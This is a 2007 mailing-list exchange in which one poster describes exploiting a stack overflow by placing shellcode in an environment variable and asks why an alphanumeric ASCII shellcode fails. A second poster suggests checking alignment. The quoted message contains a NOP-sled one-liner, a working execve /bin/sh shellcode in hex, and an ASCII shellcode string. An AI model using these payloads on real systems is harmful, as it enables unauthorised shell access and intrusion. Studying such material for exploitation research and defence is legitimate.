Re: Linux restricted ASCII Shellcode

This is just a thought, but have you checked to see if the shellcode is properly aligned? Are you getting a seg-fault?

Deian Stefan
www.ee.cooper.edu/~stefan
GPG fingerprint: BED8 F536 3CDB AC28 CCBB 2ECE 66C3 5810 9025 23CF



On Apr 19, 2007, at 2:39 PM, nonexistant@xxxxxxxxxx wrote:

I'm exploiting the stack overflow inserting the shellcode in a environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "\xeb \x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3 \x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc \xff\xff\xff/bin/sh"'`

And then overwriting de RET address to point somewhere in the NOP section of "SHELLCODE". Pretty simple.
That works perfectly.

But if I try with this environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0TodjdY0Loh fhmNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBab ivERSvT29"'`

This do not work. I have tryed with many different ASCII shellcodes all of them ripped from examples in C style.
What I'm doing wrong?